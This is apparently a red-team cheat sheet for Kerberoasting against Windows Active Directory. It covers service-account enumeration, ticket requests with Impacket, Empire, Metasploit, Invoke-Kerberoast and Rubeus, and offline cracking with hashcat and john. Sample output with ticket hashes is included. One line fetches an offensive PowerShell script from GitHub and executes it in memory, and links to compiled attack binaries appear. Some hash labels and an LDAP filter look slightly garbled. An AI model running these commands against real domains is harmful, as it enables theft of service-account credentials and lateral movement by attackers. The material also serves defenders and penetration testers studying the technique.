

# Kerberoasting

## Description

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plain text credentials.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.

## Enumeration Techniques - Linux

### Python - Impacket

```
GetUserSPNs.py [Domain]/[User]:<Password> -dc-ip [IP] -request
```

## Enumeration Techniques - Windows

### CMD

# Gets all SPNs, Includes machine account SPNs

```
setspn -T [Domain] -Q */*
```

### Powerview

```
Get-DomainUser -SPN | Select SamAccountName,DisplayName,ServicePrincipalName
```

## Exploit Techniques - Linux

### Empire

# PowerShell

```
powershell/credentials/invoke_kerberoast
```

# C#

```
csharp/SharpSploit.Enumeration/Kerberoast
```

```
(Empire: usemodule/powershell/credentials/invoke_kerberoast) > execute
[*] Tasked WXLZH9L4 to run Task 2
[*] Task 2 results received
Job started: 34VU92HD
[*] Task 2 results received

TicketByteHexString :
Hash : File.Server:$krb5tgs$23$2B7C7747B65264C2676C9B176D8072A7$692E12F0268F92EA72BFDD4CAAB26FE382066232
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SamAccountName : File.Server
DistinguishedName : CN=FileServer,OU=Users,OU=Business,DC=Security,DC=local
ServicePrincipalName : security.local/FileServer.security.local:7722
```

## Impacket

GetUserSPNs.py [Domain]/[User]:<Password> -dc-ip [IP] -request

```
(kali@kali)-[~]
└─$ GetUserSPNs.py security.local/moe:'Password123' -dc-ip '10.10.100' -request
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no
longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

ServicePrincipalName      Name      MemberOf      PasswordLastSet      LastLogon
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security.local/FileServer.security.local:7722  File.Server      2022-05-26 20:00:33  <never>

$krb5tgs$23$*File.Server$SECURITY.LOCAL$security.local/FileServer.security.local-7722*$0511d47cf096fbd96f9a7390aed8b90$4fa90282f2052a73
e3609291247001e04ad069384ca2ef60ba8503104e455b134cf4dd08c2601c0531784b7f015fa7e495c3802610e585a4490edd09291efd117af585cac0dc99cf3ad389bd
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```

## Metasploit

use auxiliary/gather/get\_user\_spn

# Exploit Techniques - Windows

## Invoke-Kerberoast (PowerSploit)

IEX(IWR https://raw.githubusercontent.com/BC-

SECURITY/Empire/main/empire/server/data/module\_source/credentials/Invoke-

Kerberoast.ps1);Invoke-Kerberoast | FL

```
PS C:\Windows\system32> iex (iwr https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1); Invoke-Kerberoast | FL
```

```
TicketByteHexStream : $krb5tgt$security.local/FileServer.security.local:7722:2B7C7747B65264C2676C9B176D8072A7$692E12F0268F92EA
Hash                : 72BFD04CAAB26FE38206623290AE8F44A945CC1A00FFD0DD190E0D58E7C93945F7D5EE1E559C7E03792C38E8A9CE1CA33ADD2C0
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```

## Rubeus

**URL (Binary):** <https://github.com/r3m0tecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe>

**URL (PowerShell):**

<https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1> (binary)

# Kerberoast all users in Domain and output to file

.\Rubeus.exe kerberoast /simple /outfile:C:\Temp\Kerbhashes.txt

# Kerberoast all users in alternative Domain

.\Rubeus.exe kerberoast /nowrap /domain:[Domain]

# All Users in OU

.\Rubeus.exe kerberoast /ou:OU=Service\_Accounts,DC=Security,DC=local /nowrap

# Specific users

.\Rubeus.exe kerberoast /user:[User] /nowrap

# List statistics about found Kerberoastable accounts (Quiet)

.\Rubeus.exe kerberoast /stats

```
PS C:\Users\moe\Downloads> .\Rubeus.exe kerberoast

  Rubeus

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[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain : Security.local
[*] Searching path 'LDAP://DC01.Security.local/DC=Security,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=samAccountName=krbtgt)!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1

[*] SamAccountName : File.Server
[*] DistinguishedName : CN=FileServer,OU=Users,OU=Business,DC=Security,DC=local
[*] ServicePrincipalName : security.local/FileServer.security.local:7722
[*] PwdLastSet : 26/05/2022 12:00:33
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgt$23$File.Server$Security.local$security.local/FileServer.security.local:7722@Security.local*$2B7C7747B65264C2676C9B176D8072A7$692E12F0268F92EA72BFDD4CA
```

# Cracking Techniques

## # Windows

```
hashcat64.exe -m 13100 c:Hashes.txt rockyou.txt
```

## # Linux

```
john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
```

```
hashcat -m 13100 -a 3 Hashes.txt rockyou
```